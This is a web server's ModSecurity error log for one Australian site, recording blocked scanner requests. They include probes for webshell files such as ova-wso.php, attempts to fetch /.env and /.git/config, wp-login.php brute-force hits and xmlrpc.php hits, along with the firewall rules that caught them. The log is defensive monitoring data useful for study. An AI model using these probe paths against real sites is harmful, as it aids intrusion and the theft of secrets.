[Sat Feb 28 11:25:14.580076 2026] [:error] [pid 52460:tid 52466] [client 20.220.61.156:13122] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aaJgGrLWOogAgHGh62TO6AAAAYM"]
[Sat Feb 28 11:25:15.079406 2026] [:error] [pid 39292:tid 39315] [client 20.220.61.156:13237] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aaJgG6IAO5fN7BxyqcGuowAAANU"]
[Sat Feb 28 11:25:15.625100 2026] [:error] [pid 39185:tid 39253] [client 20.220.61.156:13205] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kma.php"] [unique_id "aaJgGxVE-FfM89u7BQZygAAAAIc"]
[Sat Feb 28 11:25:16.220437 2026] [:error] [pid 39183:tid 39215] [client 20.220.61.156:13264] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kma.php"] [unique_id "aaJgHBCf4HvhVePw3LbXuAAAABc"]
[Sat Feb 28 11:25:16.657224 2026] [:error] [pid 39183:tid 39205] [client 20.220.61.156:13223] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kma.php"] [unique_id "aaJgHBCf4HvhVePw3LbXuQAAAA0"]
[Sat Feb 28 11:25:17.127924 2026] [:error] [pid 52460:tid 52470] [client 20.220.61.156:13191] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kma.php"] [unique_id "aaJgHbLWOogAgHGh62TO7gAAAYc"]
[Sat Feb 28 11:25:17.598993 2026] [:error] [pid 52460:tid 52465] [client 20.220.61.156:13157] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aaJgHbLWOogAgHGh62TO8QAAAYI"]
[Sat Feb 28 11:25:18.100126 2026] [:error] [pid 11791:tid 11804] [client 20.220.61.156:13297] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aaJgHmuX5e1Q32gqxH3mzQAAAQs"]
[Sat Feb 28 11:25:18.521680 2026] [:error] [pid 52460:tid 52469] [client 20.220.61.156:13129] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aaJgHrLWOogAgHGh62TO9wAAAYY"]
[Sat Feb 28 11:25:19.023318 2026] [:error] [pid 39185:tid 39257] [client 20.220.61.156:13225] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aaJgHxVE-FfM89u7BQZyiAAAAIs"]
[Sat Feb 28 11:25:19.504661 2026] [:error] [pid 39184:tid 39234] [client 20.220.61.156:13147] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova-wso.php"] [unique_id "aaJgH1tZF9Zd_U7easDEqwAAAE8"]
[Sat Feb 28 11:25:19.961459 2026] [:error] [pid 52460:tid 52475] [client 20.220.61.156:13166] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova-wso.php"] [unique_id "aaJgH7LWOogAgHGh62TPAgAAAYw"]
[Sat Feb 28 11:25:20.489036 2026] [:error] [pid 22194:tid 22200] [client 20.220.61.156:13132] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova-wso.php"] [unique_id "aaJgIH6mbajs3bzQGysjiQAAAUQ"]
[Sat Feb 28 11:25:21.193069 2026] [:error] [pid 39184:tid 39241] [client 20.220.61.156:13261] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova-wso.php"] [unique_id "aaJgIVtZF9Zd_U7easDErgAAAFY"]
[Sat Feb 28 11:25:21.637475 2026] [:error] [pid 11791:tid 11806] [client 20.220.61.156:13269] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mjq.php"] [unique_id "aaJgIWuX5e1Q32gqxH3m1gAAAQ0"]
[Sat Feb 28 11:44:48.376039 2026] [:error] [pid 52460:tid 52477] [client 45.141.233.196:52971] [client 45.141.233.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.196, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aaJksLLWOogAgHGh62TlbgAAAY4"], referer: https://wordpress.org/
[Sat Feb 28 11:44:48.935870 2026] [:error] [pid 39292:tid 39306] [client 45.141.233.196:54004] [client 45.141.233.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.196, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aaJksKIAO5fN7BxyqcG0pwAAAMw"]
[Sat Feb 28 11:44:49.202148 2026] [:error] [pid 52460:tid 52473] [client 45.141.233.196:52971] [client 45.141.233.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.196, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-login.php"] [unique_id "aaJksbLWOogAgHGh62TlcAAAAYo"]
[Sat Feb 28 12:27:44.772984 2026] [:error] [pid 39184:tid 39239] [client 51.83.7.88:37200] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aaJuwFtZF9Zd_U7easDR6AAAAFQ"]
[Sat Feb 28 12:27:47.299267 2026] [:error] [pid 39184:tid 39233] [client 51.83.7.88:52346] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aaJuw1tZF9Zd_U7easDR6wAAAE4"]
[Sat Feb 28 12:27:49.706807 2026] [:error] [pid 22194:tid 22208] [client 51.83.7.88:52348] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaJuxX6mbajs3bzQGys1jgAAAUw"]
[Sat Feb 28 12:27:52.067114 2026] [:error] [pid 39292:tid 39312] [client 51.83.7.88:52354] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aaJuyKIAO5fN7BxyqcHEZQAAANI"]
[Sat Feb 28 12:27:54.430387 2026] [:error] [pid 52460:tid 52476] [client 51.83.7.88:32970] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aaJuyrLWOogAgHGh62QODQAAAY0"]
[Sat Feb 28 12:27:56.791497 2026] [:error] [pid 11791:tid 11804] [client 51.83.7.88:32980] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aaJuzGuX5e1Q32gqxH0FKQAAAQs"]
[Sat Feb 28 12:38:11.123108 2026] [:error] [pid 52460:tid 52486] [client 204.76.203.25:51180] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aaJxM7LWOogAgHGh62QZgwAAAZc"]
[Sat Feb 28 12:39:13.676048 2026] [:error] [pid 52460:tid 52466] [client 182.44.9.147:42912] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaJxcbLWOogAgHGh62QajgAAAYM"]
[Sat Feb 28 12:40:04.469175 2026] [:error] [pid 39292:tid 39312] [client 122.176.154.222:52183] [client 122.176.154.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.176.154.222, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaJxpKIAO5fN7BxyqcHJTAAAANI"]
[Sat Feb 28 13:14:59.602615 2026] [:error] [pid 11791:tid 11815] [client 105.184.191.170:56746] [client 105.184.191.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.184.191.170, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaJ502uX5e1Q32gqxH0elwAAARY"]
[Sat Feb 28 13:48:26.147836 2026] [:error] [pid 22194:tid 22218] [client 45.153.34.31:38834] [client 45.153.34.31] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aaKBqn6mbajs3bzQGytKhQAAAVY"]
[Sat Feb 28 14:15:58.936904 2026] [autoindex:error] [pid 52460:tid 52477] [client 62.171.191.117:51128] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Feb 28 15:29:55.832636 2026] [:error] [pid 52460:tid 52483] [client 104.194.155.80:59000] [client 104.194.155.80] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aaKZc7LWOogAgHGh62SazQAAAZQ"]
[Sat Feb 28 15:38:05.918632 2026] [:error] [pid 39183:tid 39198] [client 169.150.203.251:57906] [client 169.150.203.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 169.150.203.251, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaKbXRCf4HvhVePw3LYHogAAAAY"]
[Sat Feb 28 15:38:09.390440 2026] [:error] [pid 39183:tid 39204] [client 169.150.203.251:57906] [client 169.150.203.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aaKbYRCf4HvhVePw3LYHtwAAAAw"]
[Sat Feb 28 15:38:10.016589 2026] [:error] [pid 39184:tid 39219] [client 169.150.203.251:57908] [client 169.150.203.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aaKbYltZF9Zd_U7easD_tQAAAEA"]
[Sat Feb 28 15:38:10.640775 2026] [:error] [pid 49763:tid 49769] [client 169.150.203.251:26793] [client 169.150.203.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aaKbYrTHSOG_yf2PpqG6WgAAAcM"]
[Sat Feb 28 15:38:11.270485 2026] [:error] [pid 49763:tid 49773] [client 169.150.203.251:57934] [client 169.150.203.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aaKbY7THSOG_yf2PpqG6YAAAAcc"]
[Sat Feb 28 15:38:11.890358 2026] [:error] [pid 39184:tid 39232] [client 169.150.203.251:12188] [client 169.150.203.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aaKbY1tZF9Zd_U7easD_vAAAAE0"]
[Sat Feb 28 15:38:12.512531 2026] [:error] [pid 11791:tid 11806] [client 169.150.203.251:57690] [client 169.150.203.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aaKbZGuX5e1Q32gqxH1oMgAAAQ0"]
[Sat Feb 28 15:38:13.140977 2026] [:error] [pid 39183:tid 39195] [client 169.150.203.251:45563] [client 169.150.203.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aaKbZRCf4HvhVePw3LYHvgAAAAM"]
[Sat Feb 28 16:23:35.258132 2026] [:error] [pid 39292:tid 39297] [client 145.239.65.226:59986] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aaKmB6IAO5fN7BxyqcEUtAAAAMM"]
[Sat Feb 28 16:23:37.674130 2026] [:error] [pid 39292:tid 39316] [client 145.239.65.226:53142] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aaKmCaIAO5fN7BxyqcEUugAAANY"]
[Sat Feb 28 16:23:40.118787 2026] [:error] [pid 39292:tid 39309] [client 145.239.65.226:53146] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aaKmDKIAO5fN7BxyqcEUxgAAAM8"]
[Sat Feb 28 16:23:42.537972 2026] [:error] [pid 49763:tid 49768] [client 145.239.65.226:47324] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aaKmDrTHSOG_yf2PpqHlqQAAAcI"]
[Sat Feb 28 16:23:44.948763 2026] [:error] [pid 39292:tid 39312] [client 145.239.65.226:47326] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aaKmEKIAO5fN7BxyqcEU1wAAANI"]
[Sat Feb 28 16:23:47.380961 2026] [:error] [pid 49763:tid 49773] [client 145.239.65.226:47332] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aaKmE7THSOG_yf2PpqHluQAAAcc"]
[Sat Feb 28 16:23:49.769945 2026] [:error] [pid 11791:tid 11795] [client 145.239.65.226:47348] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aaKmFWuX5e1Q32gqxH1zSAAAAQI"]
[Sat Feb 28 16:23:52.200529 2026] [:error] [pid 11791:tid 11817] [client 145.239.65.226:50376] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aaKmGGuX5e1Q32gqxH1zTwAAARg"]
[Sat Feb 28 16:23:54.743471 2026] [:error] [pid 39292:tid 39314] [client 145.239.65.226:50378] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aaKmGqIAO5fN7BxyqcEU8wAAANQ"]
[Sat Feb 28 16:23:57.128995 2026] [:error] [pid 39184:tid 39226] [client 145.239.65.226:50390] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aaKmHVtZF9Zd_U7easAeBgAAAEc"]
[Sat Feb 28 16:23:59.548028 2026] [:error] [pid 39185:tid 39263] [client 145.239.65.226:50392] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aaKmHxVE-FfM89u7BQZkiQAAAJE"]
[Sat Feb 28 16:24:02.109039 2026] [:error] [pid 49763:tid 49776] [client 145.239.65.226:59562] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aaKmIrTHSOG_yf2PpqHl9QAAAco"]
[Sat Feb 28 16:24:04.497221 2026] [:error] [pid 39183:tid 39194] [client 145.239.65.226:59578] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aaKmJBCf4HvhVePw3LYcqgAAAAI"]
[Sat Feb 28 16:24:06.924855 2026] [:error] [pid 39185:tid 39264] [client 145.239.65.226:59588] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aaKmJhVE-FfM89u7BQZkjQAAAJI"]
[Sat Feb 28 16:24:09.474293 2026] [:error] [pid 49763:tid 49790] [client 145.239.65.226:59590] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aaKmKbTHSOG_yf2PpqHmLwAAAdg"]
[Sat Feb 28 16:24:11.856064 2026] [:error] [pid 49763:tid 49776] [client 145.239.65.226:46722] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aaKmK7THSOG_yf2PpqHmQgAAAco"]
